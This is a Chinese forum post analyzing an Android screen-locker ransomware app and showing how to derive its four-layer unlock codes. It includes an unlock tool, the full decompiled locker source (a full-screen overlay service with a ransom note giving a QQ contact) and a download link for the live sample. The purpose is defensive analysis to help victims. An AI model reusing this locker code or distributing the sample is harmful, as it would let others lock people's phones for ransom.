社区应用 最新帖子 精华区 社区服务 会员列表 统计排行
  • 3793阅读
  • 4回复

[分享]4层加密+另类MD5加密的锁机软件

楼层直达
z3960 
级别: 茶馆馆主
发帖
770867
飞翔币
207694
威望
215657
飞扬币
2511641
信誉值
8

2018年1月12日23点01分,被坛友从MacOS拖到window来看看这个作者又更新了算法。HG1,HG2,HG3,HG4方式不变,后面的中文变量改变了计算方式新的解锁工具:链接: https://pan.baidu.com/s/1mjv1pmK 密码: 5h6b--------------------------------------------------------------------------------------------------------------------------------写在前面 有些坛友说想私下讨论或者联系方式,咱还是尊重论坛的规定吧。要是你想讨论锁机这类的可以把样本发到样本区@我一下,我会看的,也会出下面这种分析的。By the way,加强壳的就算了 脱壳技术就是鸡肋废话不多说直奔主题求助帖:手机被锁机,求大神帮忙找到解锁密码[font=-apple-system, BlinkMacSystemFont, &quot]        @默笑458[font=-apple-system, BlinkMacSystemFont, &quot]因为好久没有逆向这种锁机软件了,所以思想还是停留在单纯的AES/DES的基础上[font=-apple-system, BlinkMacSystemFont, &quot]第一步:先拖进模拟器,先搞清楚他是怎么运行的。[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]生成了一个比较流行游戏的图标,然后点击运行[font=-apple-system, BlinkMacSystemFont, &quot]然后出现申请Root权限,我这里点的允许,如果点拒绝,看代码是会让你百度什么是root[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]允许以后,他会在system里安装一个time.apk就是这个不变的人生了,然后会自动运行并设置为开机自启。毫无疑问,这个新安装的程序就是我们要找的主程序[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]上图就是锁机以后的样子。我们通过adb把这个apk下载到本地,然后拖进Android Killer,然后JD-gui打开,拖到JEB里也可以,不过本机的JEB抽风了。。。。[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]通过AK我们得知人口点是hg666,我们就从这里下手

[Java] 纯文本查看 复制代码

?[tr=none]
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.hg.qq2840484641; import adrt.ADRTLogCatReader;import android.app.Activity;import android.content.Intent;import android.os.Bundle; public class hg666  extends Activity{  @Override  protected void onCreate(Bundle paramBundle)  {    ADRTLogCatReader.onContext(this, "com.aide.ui");    super.onCreate(paramBundle);    setContentView(2130903041);    try    {      paramBundle = Class.forName("com.hg.qq2840484641.HG");//这里是调用的方法      startService(new Intent(this, paramBundle));      return;    }    catch (ClassNotFoundException paramBundle)    {      throw new NoClassDefFoundError(paramBundle.getMessage());    }  }}[font=-apple-system, BlinkMacSystemFont, &quot]我们进到HG里面去看,代码太长了,我还是改回截图吧[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]这是一堆的定义值,我们继续往下看

[Java] 纯文本查看 复制代码

?[tr=none]
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
this.HG1 = ((int)(Math.random() * 1000000));    this.HG2 = ((int)(Math.random() * 1000000));    this.HG3 = ((int)(Math.random() * 1000000));    this.HG4 = ((int)(Math.random() * 1000000));    this.幻殇 = (this.HG1 + 1);    this.似梦 = (this.HG2 + 10);    this.绿绮 = (this.HG3 + 100);    this.如烟 = (this.HG4 + 1100);    this.tv1.setText(幻光.huanguang("" + this.HG1));    this.tv2.setText("你的解锁序列号为:");    this.tv3.setText("解锁加QQ:" + paramString);    this.tv4.setText("解锁滴滴,没钱勿扰。");    this.tv5.setText("My 潇洒先生");    this.bt.setText("解除锁定");this.bt.setOnClickListener(new View.OnClickListener()[font=-apple-system, BlinkMacSystemFont, &quot]我解释下这小段的意思,定义了HG1-HG4四个随机数长度为6位,然后又分别在4个随机数基础上加了1,10,100,1100做了4个变量,然后调用‘幻光.huanguang’这个方法来计算序列号,然后显示出来,再监听按钮点击事件,再往后就是4组判断了[font=-apple-system, BlinkMacSystemFont, &quot]先放一张大图,然后我解析其中两段[font=-apple-system, BlinkMacSystemFont, &quot]

[Java] 纯文本查看 复制代码

?[tr=none]
01
02
03
04
05
06
07
08
09
10
11
12
13
if (HG.access$L1000004(HG.this).getText().toString().isEmpty()) {}//这里是判断不为空就进行下一步判断       do       {         return;         if (HG.access$L1000004(HG.this).getText().toString().equals("" + HG.this.幻殇)) //这是输入的值与幻殇这个值比较         {           HG.access$L1000005(HG.this).setText(幻光.huanguang("" + HG.this.HG2));           HG.access$L1000006(HG.this).setText("你的解锁序列号为:");           HG.access$L1000008(HG.this).setText("暮霞如烟,浮云千幻");           HG.access$L1000009(HG.this).setText("欢迎来到第二层");           HG.access$L1000003(HG.this).setText("解除锁定");           return;         }[font=-apple-system, BlinkMacSystemFont, &quot]第一个IF是判断输入值是不是空值,不是空值下一步判断[font=-apple-system, BlinkMacSystemFont, &quot]第二个if是判断输入值与幻殇这个值是不是相等,相等执行下一步。[font=-apple-system, BlinkMacSystemFont, &quot]我们先来看幻殇这个值是怎么来的,是HG1+1得到的,想要得到幻殇这个值,就需要得到HG1,那HG1又是个随机数,我们就要找哪里体现了这个随机数[font=-apple-system, BlinkMacSystemFont, &quot]【this.tv1.setText(幻光.huanguang("" + this.HG1));】这个地方执行这个方法后得到序列号,而这个方法的参数就是HG1,我们去看看这个方法

[Java] 纯文本查看 复制代码

?[tr=none]
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package com.hg.; public class 幻光{  private static String hexString = "0123456789";     public static String huanguang(String paramString)  {    int j = 0;    paramString = paramString.getBytes();    StringBuilder localStringBuilder = new StringBuilder(paramString.length * 2);    int i = 0;    String[] arrayOfString1;    String[] arrayOfString2;    if (i >= paramString.length)    {      paramString = "";      arrayOfString1 = new String[10];      arrayOfString1[0] = "0";      arrayOfString1[1] = "1";      arrayOfString1[2] = "2";      arrayOfString1[3] = "3";      arrayOfString1[4] = "4";      arrayOfString1[5] = "5";      arrayOfString1[6] = "6";      arrayOfString1[7] = "7";      arrayOfString1[8] = "8";      arrayOfString1[9] = "9";      arrayOfString2 = new String[10];      arrayOfString2[0] = "A";      arrayOfString2[1] = "B";      arrayOfString2[2] = "C";      arrayOfString2[3] = "D";      arrayOfString2[4] = "E";      arrayOfString2[5] = "F";      arrayOfString2[6] = "G";      arrayOfString2[7] = "H";      arrayOfString2[8] = "I";      arrayOfString2[9] = "J";      i = j;    }    for (;;)    {      if (i >= 10)      {        return paramString;        localStringBuilder.append(hexString.charAt((paramString & 0xF) >> 0));        i += 1;        break;      }      if (i == 0) {        paramString = localStringBuilder.toString().replace(arrayOfString1, arrayOfString2);      }      paramString = paramString.replace(arrayOfString1, arrayOfString2);      i += 1;    }  }}[font=-apple-system, BlinkMacSystemFont, &quot]分析可知,这就是个文本替换,我用易语言写了一个例子,大家应该能看懂[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]这是逆运算,这个方法的运算就是[font=-apple-system, BlinkMacSystemFont, &quot]0 1 2 3 4 5 6 7 8 9[font=-apple-system, BlinkMacSystemFont, &quot]A B C D E F G H I J[font=-apple-system, BlinkMacSystemFont, &quot]这样依次替换。[font=-apple-system, BlinkMacSystemFont, &quot]我们输入序列号进行逆运算后得到HG1,然后HG1+1得到幻殇的值,就是第一层密码[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]工具是临时做的,有点简陋,输入第一层密码后弹出第二次密码的输入框,框里就是解锁第一层的密码[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]我们点击解除锁定,来到第二层,看上面的代码第二层和第一层算法是一样的,所以我们就不分析了,直接到第三层[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]第三层如图

[Java] 纯文本查看 复制代码

?[tr=none]
1
2
3
4
5
6
7
8
if (HG.access$L1000004(HG.this).getText().toString().equals(幻光2.GetMD5Code("" + HG.this.绿绮)))        {          HG.access$L1000005(HG.this).setText(幻光.huanguang("" + HG.this.HG4));          HG.access$L1000006(HG.this).setText("你的解锁序列号为:");          HG.access$L1000008(HG.this).setText("已悲境相空,复作泡云灭");          HG.access$L1000009(HG.this).setText("欢迎来到最后一层,解锁完这层你就可以正常使用手机了");          HG.access$L1000003(HG.this).setText("解除锁定");          return;[font=-apple-system, BlinkMacSystemFont, &quot]看表面我以为第三层只是普通的MD5加密,试了一下不对,所以还是继续跟方法

[Java] 纯文本查看 复制代码

?[tr=none]
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package com.hg.qq2840484641; import java.security.MessageDigest;import java.security.NoSuchAlgorithmException; public class 幻光2{  private static final String[] strDigits = { "9", "8", "7", "6", "5", "4", "3", "2", "1", "0", "a", "b", "c", "d", "e", "f" };     public static String GetMD5Code(String paramString)  {    String str2 = (String)null;    try    {      String str1 = new String(paramString);      localNoSuchAlgorithmException1.printStackTrace();    }    catch (NoSuchAlgorithmException localNoSuchAlgorithmException1)    {      try      {        paramString = byteToString(MessageDigest.getInstance("MD5").digest(paramString.getBytes()));        return paramString;      }      catch (NoSuchAlgorithmException localNoSuchAlgorithmException3)      {        for (;;)        {          paramString = localNoSuchAlgorithmException1;          NoSuchAlgorithmException localNoSuchAlgorithmException2 = localNoSuchAlgorithmException3;        }      }      localNoSuchAlgorithmException1 = localNoSuchAlgorithmException1;      paramString = str2;    }    return paramString;  }     private static String byteToArrayString(byte paramByte)  {    int i = paramByte;    if (paramByte < 0) {      i = paramByte + 256;    }    paramByte = i / 16;    return strDigits[paramByte] + strDigits[(i % 16)];  }     private static String byteToString(byte[] paramArrayOfByte)  {    StringBuffer localStringBuffer = new StringBuffer();    int i = 0;    for (;;)    {      if (i >= paramArrayOfByte.length) {        return localStringBuffer.toString();      }      localStringBuffer.append(byteToArrayString(paramArrayOfByte));      i += 1;    }  }}[font=-apple-system, BlinkMacSystemFont, &quot]乍一看和普通MD5加密无异,细细分析才知道他改了MD5里的默认数组【不知道到底叫啥姑且叫这个吧】,我们找一段MD5加密的JAVA代码更改数组以后调试,成功[font=-apple-system, BlinkMacSystemFont, &quot]因为不知道易语言MD5加密怎么改,又懒得写JS代码,所以直接POST了调试代码,所以工具的第三步开始就有点慢了,等会我会贴代码,会的大神写个工具让我学习学习[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]第四层和第三层算法一样就不再赘述了[font=-apple-system, BlinkMacSystemFont, &quot]最后用卸载工具卸载掉这个APK就可以了。[font=-apple-system, BlinkMacSystemFont, &quot]【解锁工具】     解密工具.rar (298.75 KB, 下载次数: 192)[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]                         链接: https://pan.baidu.com/s/1qYuVuVy[font=-apple-system, BlinkMacSystemFont, &quot] 密码: 53s9[font=-apple-system, BlinkMacSystemFont, &quot]【样本】     样本.rar (42.66 KB, 下载次数: 319) [font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]直接安装就是锁机程序了,不会请求root权限,安装慎重!!!!![font=-apple-system, BlinkMacSystemFont, &quot]【主代码】

[Java] 纯文本查看 复制代码

?[tr=none]
001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
package com.hg.qq2840484641;import adrt.ADRTLogCatReader;import android.app.Application;import android.app.Service;import android.content.Context;import android.content.Intent;import android.os.IBinder;import android.text.Editable;import android.view.LayoutInflater;import android.view.View;import android.view.View.OnClickListener;import android.view.ViewGroup;import android.view.WindowManager;import android.view.WindowManager.LayoutParams;import android.widget.Button;import android.widget.EditText;import android.widget.TextView; public class HG  extends Service{  int HG1;  int HG2;  int HG3;  int HG4;  private Button bt;  private EditText ed;  private View mFloatLayout;  private WindowManager mWindowManager;  private TextView tv1;  private TextView tv2;  private TextView tv3;  private TextView tv4;  private TextView tv5;  private WindowManager.LayoutParams wmParams;  long 似梦;  long 如烟;  long 幻殇;  long 绿绮;     private void HG(String paramString)  {    this.wmParams = new WindowManager.LayoutParams();    Application localApplication = getApplication();    getApplication();    this.mWindowManager = ((WindowManager)localApplication.getSystemService(Context.WINDOW_SERVICE));    this.wmParams.type = 2010;    this.wmParams.format = 1;    this.wmParams.flags = 1280;    this.wmParams.gravity = 48;    this.wmParams.x = 0;    this.wmParams.y = 0;    this.wmParams.width = -1;    this.wmParams.height = -1;    this.mFloatLayout = LayoutInflater.from(getApplication()).inflate(2130903040, (ViewGroup)null);    this.mWindowManager.addView(this.mFloatLayout, this.wmParams);    this.bt = ((Button)this.mFloatLayout.findViewById(2131099652));    this.ed = ((EditText)this.mFloatLayout.findViewById(2131099651));    this.tv1 = ((TextView)this.mFloatLayout.findViewById(2131099654));    this.tv2 = ((TextView)this.mFloatLayout.findViewById(2131099653));    this.tv3 = ((TextView)this.mFloatLayout.findViewById(2131099650));    this.tv4 = ((TextView)this.mFloatLayout.findViewById(2131099649));    this.tv5 = ((TextView)this.mFloatLayout.findViewById(2131099648));    this.HG1 = ((int)(Math.random() * 1000000));    this.HG2 = ((int)(Math.random() * 1000000));    this.HG3 = ((int)(Math.random() * 1000000));    this.HG4 = ((int)(Math.random() * 1000000));    this.幻殇 = (this.HG1 + 1);    this.似梦 = (this.HG2 + 10);    this.绿绮 = (this.HG3 + 100);    this.如烟 = (this.HG4 + 1100);    this.tv1.setText(幻光.huanguang("" + this.HG1));    this.tv2.setText("你的解锁序列号为:");    this.tv3.setText("解锁加QQ:" + paramString);    this.tv4.setText("解锁滴滴,没钱勿扰。");    this.tv5.setText("My 潇洒先生");    this.bt.setText("解除锁定");    this.bt.setOnClickListener(new View.OnClickListener()    {      @Override      public void onClick(View paramAnonymousView)      {        if (HG.access$L1000004(HG.this).getText().toString().isEmpty()) {}        do        {          return;          if (HG.access$L1000004(HG.this).getText().toString().equals("" + HG.this.幻殇))          {            HG.access$L1000005(HG.this).setText(幻光.huanguang("" + HG.this.HG2));            HG.access$L1000006(HG.this).setText("你的解锁序列号为:");            HG.access$L1000008(HG.this).setText("暮霞如烟,浮云千幻");            HG.access$L1000009(HG.this).setText("欢迎来到第二层");            HG.access$L1000003(HG.this).setText("解除锁定");            return;          }          if (HG.access$L1000004(HG.this).getText().toString().equals("" + HG.this.似梦))          {            HG.access$L1000005(HG.this).setText(幻光.huanguang("" + HG.this.HG3));            HG.access$L1000006(HG.this).setText("你的解锁序列号为:");            HG.access$L1000008(HG.this).setText("水花凝幻质,墨彩染空尘");            HG.access$L1000009(HG.this).setText("欢迎来到第三层");            HG.access$L1000003(HG.this).setText("解除锁定");            return;          }          if (HG.access$L1000004(HG.this).getText().toString().equals(幻光2.GetMD5Code("" + HG.this.绿绮)))          {            HG.access$L1000005(HG.this).setText(幻光.huanguang("" + HG.this.HG4));            HG.access$L1000006(HG.this).setText("你的解锁序列号为:");            HG.access$L1000008(HG.this).setText("已悲境相空,复作泡云灭");            HG.access$L1000009(HG.this).setText("欢迎来到最后一层,解锁完这层你就可以正常使用手机了");            HG.access$L1000003(HG.this).setText("解除锁定");            return;          }        } while (!HG.access$L1000004(HG.this).getText().toString().equals(幻光2.GetMD5Code("" + HG.this.如烟)));        HG.access$L1000001(HG.this).removeView(HG.access$L1000002(HG.this));      }    });  }     @Override  public IBinder onBind(Intent paramIntent)  {    return (IBinder)null;  }     @Override  public void onCreate()  {    ADRTLogCatReader.onContext(this, "com.aide.ui");    super.onCreate();  }     @Override  public void onStart(Intent paramIntent, int paramInt)  {    HG("2856437148");    super.onStart(paramIntent, paramInt);  }}[font=-apple-system, BlinkMacSystemFont, &quot]【字符替换代码】

[Java] 纯文本查看 复制代码

?[tr=none]
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package com.hg.qq2840484641; public class 幻光{  private static String hexString = "0123456789";     public static String huanguang(String paramString)  {    int j = 0;    paramString = paramString.getBytes();    StringBuilder localStringBuilder = new StringBuilder(paramString.length * 2);    int i = 0;    String[] arrayOfString1;    String[] arrayOfString2;    if (i >= paramString.length)    {      paramString = "";      arrayOfString1 = new String[10];      arrayOfString1[0] = "0";      arrayOfString1[1] = "1";      arrayOfString1[2] = "2";      arrayOfString1[3] = "3";      arrayOfString1[4] = "4";      arrayOfString1[5] = "5";      arrayOfString1[6] = "6";      arrayOfString1[7] = "7";      arrayOfString1[8] = "8";      arrayOfString1[9] = "9";      arrayOfString2 = new String[10];      arrayOfString2[0] = "A";      arrayOfString2[1] = "B";      arrayOfString2[2] = "C";      arrayOfString2[3] = "D";      arrayOfString2[4] = "E";      arrayOfString2[5] = "F";      arrayOfString2[6] = "G";      arrayOfString2[7] = "H";      arrayOfString2[8] = "I";      arrayOfString2[9] = "J";      i = j;    }    for (;;)    {      if (i >= 10)      {        return paramString;        localStringBuilder.append(hexString.charAt((paramString & 0xF) >> 0));        i += 1;        break;      }      if (i == 0) {        paramString = localStringBuilder.toString().replace(arrayOfString1, arrayOfString2);      }      paramString = paramString.replace(arrayOfString1, arrayOfString2);      i += 1;    }  }}[font=-apple-system, BlinkMacSystemFont, &quot]【异形MD5加密代码】

[Java] 纯文本查看 复制代码

?[tr=none]
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package com.hg.qq2840484641; import java.security.MessageDigest;import java.security.NoSuchAlgorithmException; public class 幻光2{  private static final String[] strDigits = { "9", "8", "7", "6", "5", "4", "3", "2", "1", "0", "a", "b", "c", "d", "e", "f" };     public static String GetMD5Code(String paramString)  {    String str2 = (String)null;    try    {      String str1 = new String(paramString);      localNoSuchAlgorithmException1.printStackTrace();    }    catch (NoSuchAlgorithmException localNoSuchAlgorithmException1)    {      try      {        paramString = byteToString(MessageDigest.getInstance("MD5").digest(paramString.getBytes()));        return paramString;      }      catch (NoSuchAlgorithmException localNoSuchAlgorithmException3)      {        for (;;)        {          paramString = localNoSuchAlgorithmException1;          NoSuchAlgorithmException localNoSuchAlgorithmException2 = localNoSuchAlgorithmException3;        }      }      localNoSuchAlgorithmException1 = localNoSuchAlgorithmException1;      paramString = str2;    }    return paramString;  }     private static String byteToArrayString(byte paramByte)  {    int i = paramByte;    if (paramByte < 0) {      i = paramByte + 256;    }    paramByte = i / 16;    return strDigits[paramByte] + strDigits[(i % 16)];  }     private static String byteToString(byte[] paramArrayOfByte)  {    StringBuffer localStringBuffer = new StringBuffer();    int i = 0;    for (;;)    {      if (i >= paramArrayOfByte.length) {        return localStringBuffer.toString();      }      localStringBuffer.append(byteToArrayString(paramArrayOfByte));      i += 1;    }  }
我不喜欢说话却每天说最多的话,我不喜欢笑却总笑个不停,身边的每个人都说我的生活好快乐,于是我也就认为自己真的快乐。可是为什么我会在一大群朋友中突然地就沉默,为什么在人群中看到个相似的背影就难过,看见秋天树木疯狂地掉叶子我就忘记了说话,看见天色渐晚路上暖黄色的灯火就忘记了自己原来的方向。
级别: 超级版主
发帖
835265
飞翔币
226702
威望
224648
飞扬币
2450553
信誉值
0

只看该作者 1 发表于: 2023-01-06
来看一下
级别: 超级版主
发帖
835265
飞翔币
226702
威望
224648
飞扬币
2450553
信誉值
0

只看该作者 2 发表于: 2023-01-06
不错,了解了
srwam 
级别: 超级版主
发帖
635810
飞翔币
92
威望
25247
飞扬币
2864997
信誉值
0

只看该作者 3 发表于: 2023-01-15
来看看
srwam 
级别: 超级版主
发帖
635810
飞翔币
92
威望
25247
飞扬币
2864997
信誉值
0

只看该作者 4 发表于: 2023-01-15
了解一下